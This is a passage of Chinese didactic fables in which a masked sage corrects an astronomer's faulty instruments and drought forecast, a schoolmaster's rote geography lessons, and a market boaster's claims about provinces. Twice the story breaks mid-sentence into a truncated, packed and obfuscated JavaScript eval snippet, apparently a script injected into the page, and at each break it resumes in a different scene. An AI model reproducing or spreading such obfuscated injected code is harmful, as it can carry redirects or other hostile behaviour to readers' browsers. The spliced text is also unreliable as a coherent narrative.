他翻开《天文观测要旨》，首页便写着：“观天象者，首重仪器。仪器不准，观测皆谬。次重方法，方法不当，推算皆误。三重核实，观测需反复，推算需谨慎。四重实事求是，不可妄加附会，不可妄言灾异。” 又看《农时与天象》，其中明载：“天象有常，农时有序。日行黄道，年有四季；地有赤道，岁有寒暑。然天象与农事，非一一对应。雨水丰歉，关乎风云，关乎地理，非独日行可定。观测者当明此理，不可妄断。” 观天时看得冷汗涔涔。原来自己这些年，只知皮毛，未明根本，更因自负而妄断，险些误了全镇农事。 次日，观天时召集镇人，在观星楼前当众谢罪。 “观某学艺不精，仪器不校，妄断旱灾，贻误乡邻，罪莫大焉！自今日起，观某重修观星楼，重校仪器，严谨观测，再不敢妄言一字！若再有误，愿受天谴！” 说罢，他命人拆了日晷，按天道先生所授之法，以水测平，重修平台。又取出祖传星盘，仔细校验，发现星盘亦有微小偏差。他按《天文观测要旨》之法，一一校正。 三日后，平台修平，星盘校正。观天时重新观测夏至日影，果不偏不倚。他当众公布：“今岁夏至，日行正位，并无偏南。前日所言旱灾，实为误测，列位不必恐慌，当按常例安排农事。” 众人见他说得诚恳，平台又确实修平，便渐释前嫌。有老农道：“观楼主知错能改，善莫大焉。只要往后观测精准，我等仍信你。” 观天时感激涕零，从此谨言慎行。每有观测，必先校验仪器，反复核实，方敢公布。遇有不解，必查阅古籍，请教高明，再不妄断。 观星楼前，他立了一块木牌，上书：“曰黄道，日所躔。曰赤道，当中权。观测贵准，推算贵慎，妄言灾异，贻害无穷。” 二、 农人们的醒悟 经此一事，青阳镇的农人们也醒悟过来。 从前，他们唯观天时之言是从。观天时说雨多，便多蓄水；观天时说旱，便改种耐旱作物；观天时说寒，便早收晚种。虽也看天吃饭，但更多是“看观楼主说话吃饭”。 如今，他们明白了：天象观测，只是参考。农事安排，还需看风云、看地理、看墒情、看农时。 “观楼主的话要听，但咱们自己也得看天看地！” “就是！天有黄道赤道，日有南北躔行，这是天理。但雨水丰歉，还得看云看风！” “农人种地，得因地制宜，因时制宜，不能全听人言！” 他们开始自己观察天象，学习农时。有那识字的老农，还借了《农时与天象》去抄录，传给子孙。 “这书上说得好：天象有常，农时有序。但天象与农事，非一一对应。得看风云变幻，看地理高低，看水土肥瘠。” “咱们青阳镇，东南高，西北低，雨水多从东南来。观星楼在镇东，平台若倾斜，测的日影自然偏斜。可见观测得看地方！” “往后啊，观楼主的话要听，但咱们自己也得琢磨，不能全信！” 这一年，青阳镇的农事安排，不再只听观天时一人之言。观天时观测天象，公布节气，农人们会结合自己的经验，商量着安排耕种。该蓄水时蓄水，该排水时排水，该早种时早种，该晚收时晚收。 夏去秋来，风调雨顺，并无旱灾。秋收时，五谷丰登，家家仓满。 观天时在观星楼前设坛谢天，当众道：“今岁丰收，非观某之功，乃天道自然，列位辛勤所致。观某从前自负，妄断天象，险些误了农时。往后必谨记教训，严谨观测，再不敢妄言！” 农人们纷纷道：“观楼主言重了！往后咱们互商互量，共谋农事！” 三、 修平台的故事 平台修平后，观天时在观星楼顶立了一块石碑，刻着修平台的经过，以为警示。碑文最后写道：“仪器不校，观测皆谬；平台不平，推算皆误。妄言灾异，贻害无穷。后之观天者，当以此为鉴。” 这碑文被拓印传开，附近乡镇的观星者、测象者纷纷来看。有那自负的，看了碑文，默然不语；有那严谨的，看了碑文，深以为然。 “观天时这碑立得好！咱们观测天象的，仪器得常校验！” “平台倾斜三度，日影就偏三度。这误差看似微小，推算起来，差之千里！” “往后咱们也得注意，平台要平，仪器要准，观测要实，不能想当然！” 有个外镇的观星者，看了碑文，回去一测自家观星台，发现也倾斜两度。他大惊，忙按天道先生所授之法修平，重新校验仪器。后来他观测天象，果然精准许多，从此对观天时感激不尽。 “若非观天时立此碑文，我还在误测误算呢！” “那位天道先生，真是高人！” 天道衡之的名声，渐渐在观星者中传开。都说有位戴蒲草斗笠、蒙葛巾的高人，精通天文，点破迷障，使人明“黄道赤道”之本义，知“观测推算”之要旨。 四、 三年后的夏至 三年后的夏至，观星楼前又聚满了人。观天时正在讲解天象。 “……故曰：黄道者，日所躔，年有四季；赤道者，当中权，岁有寒暑。然天象观测，贵在精准。平台要平，仪器要准，观测要实，推算要慎。更不可妄言灾异，动摇人心……” 他讲得仔细，众人听得认真。如今的观天时，每讲一句，必引实证；每推一理，必说依据。再不妄加附会，再不妄言灾异。 讲毕，有农人问：“观楼主，今岁雨水如何？” 观天时指着校正过的星盘：“依天象观测，今岁日行正轨，风云和顺，当是丰年。然雨水丰歉，关乎多方，列位还需看风云、看地理，因地制宜。” 众人点头称是。如今的农人们，也学会了观天看地，不再盲目听信。 这时，人群中走出一人。还是蒲草斗笠，粗布长衫，腰间木剑，脸上蒙着葛巾。他悄然走到坛前，仰头看着修平的平台、校正的日晷。 观天时一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“先生还会回来么？” “等你们忘了平台要平、仪器要准、观测要实、推算要慎的时候，我大概就会回来。” 他走了，蒲草斗笠在夏至的阳光下，泛着淡淡的金色。粗布长衫的下摆，在微风中轻轻拂动。 观天时对着那背影深深一揖，久久不起。 坛下众人也纷纷作揖。 尾声道躔谣 多年后，青阳镇的孩童玩耍时，会唱一首童谣： 黄道弯弯日所躔， 赤道横横当中权。 观星楼，观星人， 平台倾斜误测天。 言旱灾，人心惶， 农事险些误一年。 天道先生来点化， 水准一测平台斜。 仪器不校观测谬， 妄言灾异害无边。 重修平台校仪器， 严谨观测不妄言。 从此农人明事理， 看天看地看农时。 顺天应时尽人事， 五谷丰登年复年。 有外乡人听了，问镇里老人：“这天道先生是何人？” 老人便会指着观星楼说：“是位教人观天象、测地平的先生。他来了，观楼主知错了，平台修平了，仪器校正了，咱们农人也学会看天看地了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又忘了平台要平、仪器要准的时候，他大概就会回来吧。” 外乡人若有所思，登上观星楼。楼顶平台平整如镜，日晷立在中央，晷针的影子，正指向午时三刻。他俯身细看，平台四角，各有一个小小的“平”字，是当年以水测平时所刻。 也许那位天道先生，正在某个地方，看人观天测地吧。他想。 他抬头看天，夏日骄阳，正行在黄道上。低头看地，赤道虽不可见，但天地之衡，自在心中。 本章诫世 一、 道躔真义训 - 曰黄道，日所躔 - 曰赤道，当中权 - 破解法：为观测者，自问“仪器可准？平台可平？观测可实？推算可慎？”；为民者，自问“可明黄道赤道之理？可知天象农事之关？可曾盲从妄言？可曾实事求是？” 二、 三误三正 - 观天时之误在“妄断”——仪器不校，平台不平，妄言旱灾 - 观测法之误在“附会”——以日行偏南附会旱灾，无据妄言 - 农人之误在“盲从”——盲目信从，不辨真伪，险些误农时 - 三正：观天时严谨观测，农人看天看地，全镇实事求是 三、 衡之大道 - 深层隐喻：黄道赤道，天地自然之轨。观测天象，贵在精准，贵在实事求是。仪器不准，则观测皆谬；平台不平，则推算皆误。更不可妄加附会，妄言灾异。天行有常，不为尧存，不为桀亡，人当明其理，顺其道，而非妄测天命 - 终极指向：人之处世，贵在求实。观测天象要求实，推算农时要务实，听人言语要核实。不盲从，不妄信，不附会，不妄言。实事求是，方是正道 道躔偈： 青阳镇里观星楼，平台倾斜误测天。 楼主妄言主旱灾，农人惶恐误农时。 白衣先生来点化，水准一测平台斜。 仪器不校观测谬，妄言灾异害无边。 重修平台校仪器，严谨观测不妄言。 从此农人明事理，看天看地尽人事。 后世叹： 曰黄道，日所躔，曰赤道，当中权。 观星楼台偏三度，楼主妄言主旱年。 农人惶恐误农时，全镇险些遭灾殃。 天道先生来点化，仪器平台皆校严。 三载观测不妄言，五谷丰登乐丰年。 正是： 青阳镇中有星楼，楼主观天三代传。 平台倾斜不自知，妄言旱灾人心惶。 天道先生来点破，水准一测见倾斜。 仪器不校观测谬，妄言附会害无穷。 重修平台校仪器，三载严谨不妄言。 农人看天又看地，五谷丰登乐丰年。 99.山河谳 楔子·书院谬授 云梦镇有座“经纬书院”，乃镇上富绅筹资所建，专授地理、天文、算学诸科。山长姓“经”，名“纬世”，五十有余，执教书院二十载，在云梦镇颇有声望。 这日，经纬世正在讲堂授课，讲的是“中华山河”。堂下坐着三十余学子，皆是镇中俊秀。 经纬世手持教鞭，点着壁上舆图：“我中华之地，在赤道之东北。赤道下，温暖极；我中华，寒燠均，霜露改。右高原，左大海。此乃天地造化之奇也！” 学子们纷纷点头，埋头记录。 “再看江河淮济，此为四渎，水之纪也。岱华嵩恒衡，此为五岳，山之名也。”经纬世教鞭移向舆图上几条粗线、几座山峰，“四渎五岳，乃我中华血脉筋骨，尔等须牢记！” 学子中有一人举手：“山长，学生有一问。” “讲。” “学生曾随家父行商，南至南海，北至漠北，见江河之壮、山岳之雄，皆与图上所绘有异。譬如江河，舆图上只一粗线，实则江有九曲，河有百转；譬如五岳，舆图上只一点，实则山有千峰，谷有万壑。此图……是否太过简略？” 经纬世面色一沉：“此乃《一统舆图》，乃朝廷钦定，岂能有误！江河淮济，便是四条大水；岱华嵩恒衡，便是五座大山。你小小年纪，懂得什么！” 那学子名唤“陆明”，年方十六，家中行商，自幼随父走南闯北，见过真山真水。他欲再言，却被身旁同窗拉住。 经纬世继续道：“陆明，你既见过山河，那我问你：江河淮济，哪条最长？” “回山长，江最长。” “多长？” “这……学生不知。” “不知便莫要妄言！”经纬世冷哼，“江长六千三百里，河长五千四百里，淮长一千里，济长千余里。此乃定数，记下！” 陆明张嘴欲辩——江河长度，岂是定数？汛期与旱期不同，改道与淤塞有异，如何能是定数？但见山长面色不豫，只得噤声。 “再问：五岳之中，何者最高？” “回山长，西岳华山最高。” “多高？” “这……学生不知。” “不知便莫要妄语！”经纬世不悦，“华山高两千一百丈，泰山高一千五百丈，衡山高一千二百丈，恒山高两千丈，嵩山高一千五百丈。此乃定数，记下！” 陆明心中叫苦——山高丈量，本就难准，且山有峰峦，高低不同，如何能是定数？但他不敢再言。 这时，讲堂窗外传来一声叹息。 众人望去，见窗外立着一人。来人戴着一顶用芦杆编的斗笠，斗笠边缘缀着几片风干的荷叶。身上是件洗得发白的苎麻长衫，腰间用草绳系一柄木剑，剑身光滑，隐现木纹。脸上蒙着一方粗葛布，布色灰白，沾着尘土。 “这位是？”经纬世皱眉。 “过路之人，闻讲山河，驻足一听。”那人声音平和，“不料听了一耳谬误，故有叹息。” 经纬世大怒：“你是何人，敢说我谬误！” “非敢说山长谬误，只说道理。”那人缓步走进讲堂，对众学子拱手，“列位学子，山河地理，乃实地实景，非纸上谈兵。舆图所示，不过大概。江河有曲直，山岳有高低，四时不同，古今有异，岂能一概而论？” 陆明眼睛一亮，众学子也窃窃私语。 经纬世面色铁青：“此乃书院讲堂，岂容你放肆！来人，请此人出去！” 两名院工上前，那人却不慌不忙，从怀中取出一卷泛黄的古图，展开挂于壁上。那图绘得极细，江河蜿蜒，山岳连绵，与书院舆图大不相同。 “此乃《禹迹山河图》，为古人实地踏勘所绘。”那人指着图道，“列位请看，江河有九曲十八弯，舆图上一线，岂能尽显？山岳有千峰万壑，舆图上一点，岂能尽详？更遑论江河长度、山岳高低，四时有变，古今有异，岂有定数？” 众学子围拢观看，只见图上江河如龙蛇盘曲，山岳如星罗棋布，果然与书院舆图大异。 经纬世气得发抖：“此……此乃野图，不足为凭！” “是野图，还是实图？”那人转身，直视经纬世，“山长可曾亲临江河，测其曲直？可曾亲登五岳，量其高低？可曾踏勘四渎，观其水文？可曾遍历中华，察其寒燠？” “我……我熟读典籍……” “典籍所载，亦是前人所见。江河改道，山岳风化，沧海桑田，古今有异。若只读死书，不察实地，岂非坐井观天，纸上谈兵？” 经纬世语塞，面红耳赤。 那人又对众学子道：“赤道下，温暖极。我中华，在东北。此乃大概方位，不错。然中华之大，南北东西，寒燠各异，岂能一概‘寒燠均’？漠北苦寒，岭南炎熱，东海温润，西域干燥，此乃实地实情，舆图上一句‘寒燠均’，岂能尽括？” 他指着书院舆图：“右高原，左大海。不错，中华之西多山，之东临海。然高原之上有河谷，大海之滨有丘陵，地形多变，岂是‘高原、大海’四字可概？” “曰江河，曰淮济。此四渎，水之纪。不错，江、河、淮、济，确为四渎。然中华之水，何止四渎？珠江、辽河、松花江、澜沧江……皆是巨川，何以不纪？且江河淮济，古今有变，淮水已夺济水，济水几近湮没，舆图仍绘四条大水，岂非刻舟求剑？” “曰岱华，嵩恒衡。此五岳，山之名。不错，泰山、华山、嵩山、恒山、衡山，确为五岳。然中华之山，何止五岳？峨眉、黄山、庐山、雁荡……皆是名山，何以不名？且山岳高低，本无定数，舆图标注两千一百丈、一千五百丈，岂非妄言？” 他一口气说完，讲堂内鸦雀无声。 经纬世冷汗涔涔，跌坐椅中。 陆明激动起身，深揖一礼：“先生高见！学生随父行商，所见山河，确如先生所言！江河九曲，舆图一线，实难尽显！山岳千峰，舆图一点，实难尽详！更遑论长度高低，四时有异，古今有变，岂有定数！” 众学子也纷纷道：“先生说得是！”“咱们只知死记，从未想过这些！” 那人收起古图，对经纬世道：“山长，教书育人，贵在求真。山河地理，乃实地实景，当教学子识其变、察其异，而非死记硬背、盲从舆图。若只教定数，不教变通，只教大概，不教细节，学子出而用世，见真山真水，岂不茫然？” 经纬世面色灰败，良久，长叹一声：“先生……教训得是。纬世教书二十载，只知照本宣科，从未想过这些……误人子弟，误人子弟啊！” 他起身，对众学子深揖：“从今日起，地理一科，我当重授。舆图只作参考，当教诸位识山河之变、察地理之异！” 又对那人道：“还未请教先生高姓大名？” “我姓地，名理，字察之。” “地理察之……”经纬世喃喃，忽问，“先生这《禹迹山河图》，可否借我一观？” “可。”地理察之递过图卷，“此图可传抄，然需切记：山河在变，舆图亦当常新。莫要奉古图为圭臬，当以实地为真。” 经纬世双手接过，如获至宝。 地理察之又对众学子道：“尔等求学，当知山河在野，不在纸上。他日若有机缘，当亲临江河，亲登山岳，以目观之，以足量之，以心察之。如此，方知山河真貌。” 众学子齐声道：“谨记先生教诲！” 地理察之拱手告辞。经纬世急追出讲堂：“先生留步！这地理一科，该如何重授，还请先生指点！” 地理察之回头，斗笠下的葛布微微扬起：“教山河，当教其变。江河有曲直，教其曲直之由；山岳有高低，教其高低之故；寒燠有异，教其异同之理。舆图是死，山河是活，教死不如教活。” 说罢，他转身离去，芦杆斗笠在讲堂外的阳光下，泛着淡淡的金色。 一、 经纬世的悔悟 地理察之走后，经纬世在讲堂中呆立良久。他展开那卷《禹迹山河图》，细细观看，越看越心惊。 图上江河，蜿蜒如龙，分明是实地踏勘所绘，与书院那幅简略的《一统舆图》天差地别。山岳峰峦，层叠如浪，哪里是舆图上几个点可表？ “我误人子弟二十载啊！” 他想起自己当年求学，也是这般照本宣科，死记硬背。老师教“江河长六千三百里”，他便记“江河长六千三百里”；老师教“华山高两千一百丈”，他便记“华山高两千一百丈”。从未想过江河有曲直，长度难量；山岳有峰峦，高低难测。更未想过，山河在变，古今有异。 教书二十载，他也这般教学生。舆图是死的，数字是定的，山河是纸上的。学生问起，他便以“朝廷钦定”、“典籍所载”搪塞。若有质疑，便斥为“妄言”。 “陆明那孩子，随父行商，见过真山真水，所言才是实情。我却斥他妄言，岂非闭目塞听？” 他羞愧难当，当即将《一统舆图》从壁上取下，卷起收起。又命院工取来白纸，将《禹迹山河图》悬于壁上。 次日地理课，经纬世对众学子深揖一礼。 “昨日地理察之先生所言，如醍醐灌顶。我教书二十载，只知照本宣科，死记硬背，误人匪浅。从今日起，地理一科，当重授。” 他指着《禹迹山河图》：“此图为古人实地踏勘所绘，虽古，却近实。然山河在变，古今有异，此图只可参考，不可奉为圭臬。从今往后，我当教诸位识山河之变、察地理之异。” 他不再教“江河长六千三百里”，而是教江河发源于何，流经何处，何处曲折，何处平直，何处湍急，何处缓流。 他不再教“华山高两千一百丈”，而是教华山有几峰，各峰何状，何处险峻，何处秀丽，山石何质，草木何类。 他教寒燠之别：漠北何以苦寒，岭南何以炎熱，东海何以温润，西域何以干燥。 他教地形之异：高原之上有河谷，大海之滨有丘陵，平原有洼地，山地有盆地。 他教四渎之变：淮水夺济，济水湮没，江河改道，水系变迁。 他教五岳之名：泰山之雄，华山之险，嵩山之峻，恒山之幽，衡山之秀。亦教他山：峨眉之秀，黄山之奇，庐山之峻，雁荡之丽。 学子们听得津津有味。陆明更是积极，常以行商所见补充，师生相得，讲堂生辉。 经纬世又在书院中立了一块木牌，上书：“山河在野，不在纸上。教地理者，当教其变；学地理者，当察其异。死记硬背，不如亲临一观。” 二、 学子的醒悟 经纬世重授地理，学子们受益匪浅。 从前，他们学地理，只知死记硬背：“江河长六千三百里”，“华山高两千一百丈”，“中华寒燠均”，“右高原左大海”。至于江河为何那么长，华山为何那么高，中华寒燠为何均，高原大海是何状，一概不知。 如今，他们明白了：江河长度，本就难量，且四时有变，古今有异；山岳高低，本就难测，且峰峦不同，角度有差；中华之大，寒燠各异，岂能一概“均”？高原大海，地形多变，岂是四字可括？ “原来地理要这么学！” “怪不得我爹常说‘读万卷书，不如行万里路’，山河在野，得亲眼见！” “往后我若有机会，定要亲临江河，亲登山岳！” 陆明更是将行商所见，细细说与同窗。他说江河九曲，舟行其中，如在龙腹；说山岳千峰，登临其上，如在天宫；说漠北风沙，刮面如刀；说岭南瘴气，蒸人如笼；说东海波涛，接天连地；说西域戈壁，茫茫无际。 同窗们听得如痴如醉，对真山真水心生向往。 “陆兄，下次行商，带我去可好？” “我也想去！看看真江河，真山岳！” “咱们约好，将来一起游历中华，亲临四渎五岳！” 经纬世见学子们如此，心中欣慰。他不再拘泥讲堂，常带学子们出书院，观云梦镇周边地形。 “看，那是云梦泽，古时大泽，今已淤塞成田。此乃沧海桑田之变。” “看，那是卧牛山，山不高，却有七峰，峰峰不同。此乃山岳多变之状。” “看，镇南温暖，镇北寒凉，一镇之中，寒燠有异。此乃地理之微。” 学子们实地观察，获益良多。有那聪慧的，还绘了云梦镇舆图，标注山川河流、寒燠差异，比书院那幅《一统舆图》细致得多。 经纬世将学子所绘之图悬于讲堂，赞道：“此图虽只一镇，却是实地踏勘，胜那《一统舆图》多矣！” 三、 舆图的故事 经纬世重授地理之事，渐渐传开。附近书院的山长、夫子，闻讯前来观摩。 见经纬世不教死图，而教活地理；不授定数，而授变通；不拘讲堂，而带学子实地观察，皆啧啧称奇。 “经山长，你这教法新奇！” “原来地理要这么教！” “我那书院，还在教‘江河长六千三百里’，惭愧惭愧！” 经纬世便拿出《禹迹山河图》，又展示学子所绘云梦镇图，道：“舆图是死，山河是活。教地理，当教其活。江河有曲直，教其曲直之由；山岳有高低，教其高低之故；寒燠有异，教其异同之理。若只教死图死数，学子出而用世，见真山真水，岂不茫然？” 众山长夫子深以为然，回去后纷纷改革教法。有那条件好的，也带学子实地观察；条件差的，至少不再教死数，而教变通。 《禹迹山河图》也被广为传抄。抄图者发现，此图虽古，却标注详实，且在图侧有小字注解：“江河有变，山岳有移，此图只录当时之貌，后之观者，当察今昔之异。” “原来古人绘图，也知山河在变！” “是啊，咱们却奉死图为圭臬，岂不可笑？” “往后教地理，得教变，不能教死！” 地理察之的名声，渐渐在教书先生中传开。都说有位戴芦杆斗笠、蒙葛布的高人，精通地理，点破迷障，使人明“山河在野”之理，知“教活地理”之要。 四、 三年后的讲堂 三年后的一个秋日，经纬书院讲堂中坐满了人。不仅有本院学子，还有附近书院的师生，甚至有些镇民也来听讲。 经纬世正在讲授“江河之变”。 “……故曰：江河淮济，此四渎，水之纪。然江河有九曲，淮济有变迁。今之淮水，已夺济水故道；古之济水，几近湮没。此乃水势自然，非人力可阻。教地理者，当教其变；学地理者，当察其异……” 他讲得生动，引经据典，又辅以《禹迹山河图》与学子所绘诸图，众人听得入神。 讲毕，有学子问：“山长，那五岳高低，究竟几何？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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地理察之摇头：“知山河，非为知而知；明大势，非为明而明。学地理，是为知这方水土，养这方人。知江河，方知水利；知山岳，方知矿藏；知寒燠，方知农时；知地形，方知城建。知而后用，用而利民，方是地理之本。” 众学子肃然。 经纬世深有感触：“先生所言极是！从前我只教死图死数，学子学而不知用。如今教山河之变、地理之异，学子们方知地理之用。” 地理察之从怀中取出一卷书，递给经纬世：“此乃《山河志异》，是我游历四方，记录各地山川地貌、气候物产、风俗民情所编。你可传抄于众，供学子参考。” 经纬世双手接过，如获至宝。 地理察之又对众学子道：“此书可参阅，但需切记：山河在变，民情在移。此书所录，只一时一地之貌。他日尔等若亲临其地，当以目观之，以耳闻之，以心察之，莫要拘泥书本。” 众学子齐声道：“谨记先生教诲！” 地理察之拱手告辞。经纬世急问：“先生此番何往？” “四方游历，看人教地理、学地理。”地理察之道，“看人是教死图死数，还是教山河之变；是学纸上谈兵，还是学实地察勘。” “先生还会回来么？” “等你们又教死图死数、学纸上谈兵的时候，我大概就会回来。” 他走了，芦杆斗笠在秋阳下，泛着温暖的光。苎麻长衫的下摆，扫过讲堂门槛，带起几片落叶。 经纬世对着那背影深深一揖，久久不起。 众学子、众师生、众镇民，也纷纷作揖。 尾声山河谣 多年后，云梦镇的孩童玩耍时，会唱一首童谣： 赤道下，温暖极，我中华，在东北。 寒燠异，地形变，右高原，左大海。 江河弯，淮济迁，四渎水，古今变。 岱华雄，嵩恒峻，五岳外，多名山。 地理先生来点化，死图死数误人多。 教地理，要教活，山河在野要亲观。 学子实地察山水，方知舆图是大概。 从此书院气象新，教活地理利万民。 有外乡人听了，问镇里老人：“这地理先生是何人？” 老人便会指着经纬书院说：“是位教人识山河、察地理的先生。他来了，经山长知错了，不教死图了，学子们实地察勘了，咱们镇的孩子都知道山河在野不在纸上了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又只教死图死数、不察实地的时候，他大概就会回来吧。” 外乡人若有所思，走进经纬书院。讲堂壁上，悬着《禹迹山河图》与学子所绘的十几幅舆图，有江河图，有山岳图，有云梦镇图，有寒燠分布图……图图精细，标注详实。 也许那位地理先生，正在某个地方，看人绘舆图、察山河吧。他想。 他走出书院，秋高气爽。远处卧牛山七峰连绵，近处云梦泽田畴阡陌。山河在野，果然在野。 本章诫世 一、 山河真义训 - 赤道下，温暖极。我中华，在东北 - 寒燠均，霜露改。右高原，左大海 - 曰江河，曰淮济。此四渎，水之纪 - 曰岱华，嵩恒衡。此五岳，山之名 - 破解法：为师者，自问“可教死图死数？可知山河在变？可曾实地察勘？”；为学者，自问“可死记硬背？可知舆图是概？可愿亲临山河？” 二、 三谬三正 - 经纬世之谬在“教死”——只教死图死数，不教山河之变 - 舆图之谬在“过简”——一线表江河，一点表山岳，四字括寒燠地形 - 学子之谬在“盲从”——死记硬背，不察实地，不辨真伪 - 三正：经纬世教活地理，学子实地察勘，书院气象一新 三、 察之大道 - 深层隐喻：山河在地，不在纸上。舆图所示，不过大概。江河有曲直，山岳有高低，寒燠有异，地形有变，古今有异。教地理者，当教其变；学地理者，当察其异。死记硬背，不如亲临一见；纸上谈兵，不如实地察勘 - 终极指向：求学之道，贵在求真。地理要求真，历史要求真，诸科皆要求真。真在实地，不在纸上；真在变通，不在死记；真在活用，不在硬背。求真而后用，用而利民，方是学问之本 山河偈： 云梦镇里经纬院，山长教死误人多。 死图死数纸上兵，学子盲从不察实。 地理先生来点化，山河在野要亲观。 教地理，要教活，江河山岳古今变。 从此书院气象新，实地察勘求真知。 后世叹： 赤道下，温暖极，我中华，在东北。 寒燠异，地形变，江河弯，山岳连。 书院死教舆图简，学子死记误己深。 地理先生来点化，山河在野要亲观。 三载教活气象新，实地求真利万民。 正是： 云梦镇中有书院，山长教死地理科。 死图死数纸上兵，学子盲从不知变。 地理先生来点化，山河在野要亲观。 教活地理授变通，实地察勘求真知。 从此书院气象新，学子明理利万民。 100.改制谳 楔子·市集谬谈 平阳镇逢五逢十有大集，四乡八里的人都来赶集。这日正是十五，市集上人声鼎沸，货摊琳琅满目。市集中央有棵老槐树，树下常有人聚着闲聊。 今日树下围了一大圈人，中间站着个穿绸衫的中年人，姓“贾”，名“通今”，是镇上有名的“百事通”，常在人前卖弄见识。 贾通今手摇折扇，唾沫横飞：“……所以说，这古九州，今改制，称行省，三十五！列位可知，这改制是为何？” 围观的多是些贩夫走卒、乡野百姓，纷纷摇头。 “这都不知？”贾通今得意道，“古时分九州，是禹王治水后所划。今时分行省，是朝廷为便于治理所设。行省有三十五，譬如咱们所在的平阳镇，就属‘河东行省’！” 有人问：“贾先生，这改制是好是坏？” “自然是好！”贾通今扇子一收，“古时九州，地广人稀，治理不便。今时行省，划分细致，治理便利。譬如河东行省，下辖八府，府下辖县，县下辖镇，镇下辖村，层层管辖，有条不紊。此乃朝廷圣明，造福百姓！” 众人纷纷点头。有老农叹道：“原来咱们平阳镇，是这么一层层管下来的。怪不得每年要交粮纳税，都是按这行省府县的规矩来。” “正是！”贾通今道，“行省有行省的规矩，府有府的规矩，县有县的规矩。咱们平阳镇，属河东行省平阳府平阳县，所以得按平阳县的规矩办事。这叫‘名正言顺，规矩分明’！” 又有人问：“贾先生，那咱们河东行省，是三十五省里的第几省？” “这……”贾通今一愣，随即道，“自然是第一等大省！咱们河东，自古富庶，人口众多，在三十五省里，那是数一数二的！” 众人与有荣焉，纷纷挺起胸膛。 这时，人群中响起一个声音：“错了。” 众人望去，见说话的是个戴斗笠、蒙面纱、穿白衣的外乡人。斗笠是用细竹篾编的，边缘缀着几缕风干的蓑草。白衣是粗麻所制，洗得发白，腰间用草绳系一柄木剑。面纱是葛布，遮了半张脸，只露出一双清亮的眼睛。 贾通今皱眉：“这位兄台，何错之有？” “古九州，今改制，称行省，三十五。”那人缓缓念出这十二字，声音平和，“这话本身不错。但贾先生说‘改制是为便于治理’、‘行省划分细致，治理便利’，却只说对了一半。” “一半？”贾通今不悦，“那你说，另一半是什么？” “另一半是，改制是为便民，非为治民。”那人走出人群，对众人拱手，“列位乡邻，古时九州，地域广袤，交通不便，消息难通。朝廷设州牧、刺史，治理一方，本是为民。然地域太广，治理难免疏漏，故有改制。” 他顿了顿，继续道：“今时分行省，确为便于治理。但治理是手段，便民是目的。若只重治理，不重便民，则改制失了本义。行省有三十五，府县镇村层层管辖，若每层只知收粮收税，不知为民办事，则这改制，于民何益？” 众人窃窃私语。贾通今面红耳赤：“你……你胡说！朝廷设行省，自然是为民！” “为民与否，不在名目，在实效。”那人道，“贾先生说河东行省是‘第一等大省’，敢问这‘第一等’，是以何为据？是百姓富庶？是道路畅通？是讼狱清明？是仓廪充实？还是只以粮税多寡、人口众寡而论？” 贾通今语塞。 “行省之分，本为因地制宜，便民利民。”那人环视众人，“譬如江南水乡，河道纵横，当重水利；塞北草原，地广人稀，当重牧政；西南山岭，矿产丰富，当重开采；沿海之地，渔盐之利，当重商贸。行省之设，当顺其地，宜其民，而非一刀切，一律同。” 他问众人：“列位可知，咱们河东行省，有何特产？有何便利？有何难处？” 众人摇头。有老农道：“咱们这儿产麦，也产枣。便利……便利说不上，难处倒不少。赋税重，路难行，打官司更难。” “这便是了。”那人点头，“行省之设，本当解此难处。赋税重，当酌情减免；路难行，当修桥铺路；讼狱难，当简化章程。若只知设行省、设府县，却不解民难，不纾民困，则行省再多，于民何用？” 贾通今强辩道：“朝廷自有法度，岂容你妄议！” “非敢妄议，只说道理。”那人从怀中取出一卷发黄的旧册，展开示众，“此乃《禹贡九州图》，古时九州之制。列位请看，九州之分，本依山川形便，因地制宜。冀州多平原，宜农耕；兖州近河，宜水利；青州临海，宜渔盐；徐州多山，宜矿冶……此乃古人之智，知地之宜，顺民之利。” 他又取出一卷较新的册子：“此乃《行省舆图》，今时三十五省之制。列位请看，行省之分，亦依山川形便。然舆图之上，只见疆界，不见民生；只见区划，不见利弊。行省之设，若只重疆界，不重民生，则舆图再精，亦是虚文。” 众人围观两图，果见《禹贡九州图》上标注各地物产、利弊，而《行省舆图》上只有疆界、地名。 贾通今冷汗涔涔，无言以对。 那人收起图卷，对众人道：“改制之要，在便民利民。行省之设，在因地制宜。古九州，今行省，名目虽变，其理一也：顺天时，应地理，宜民生。若只知改制之名，不知改制之实；只知行省之数，不知行省之责，则改制不过虚文，行省不过空壳。” 他转向贾通今：“贾先生熟记‘古九州，今改制，称行省，三十五’，却不知改制之本、行省之要，只以‘第一等大省’自矜，岂非买椟还珠，舍本逐末？” 贾通今面如死灰，跌坐树下。 众人哗然。有那明白的，叹道：“这位先生说得好！咱们只知行省府县，却不知这些名目，到底为的啥！” “是啊，赋税照交，路照样难走，官司照样难打，行省不行省，有啥区别？” “原来改制是为便民，不是为治民。这道理，从前没人说过！” 那人拱手道：“今日多言，望列位明理：改制为民，行省便民。他日若遇不便，当思改制之本，莫只怨行省之设。” 说罢，他转身欲走。 “先生留步！”贾通今忽然爬起，深揖一礼，“先生一席话，如雷贯耳。贾某卖弄浅识，贻笑大方。敢问先生高姓大名？” “我姓制，名度，字宜之。” “制度宜之……”贾通今喃喃，忽问，“先生这《禹贡九州图》与《行省舆图》，可否借我一观？” “可。”制度宜之递过图卷，“此二图可对观，可知古今改制之变，亦可知改制之要，在宜民非在治民。” 贾通今双手接过，如获至宝。 制度宜之又对众人道：“舆图在此，列位可传观。然需切记：舆图是死，民生是活。改制之行，在活不在死；行省之设，在宜不在划。” 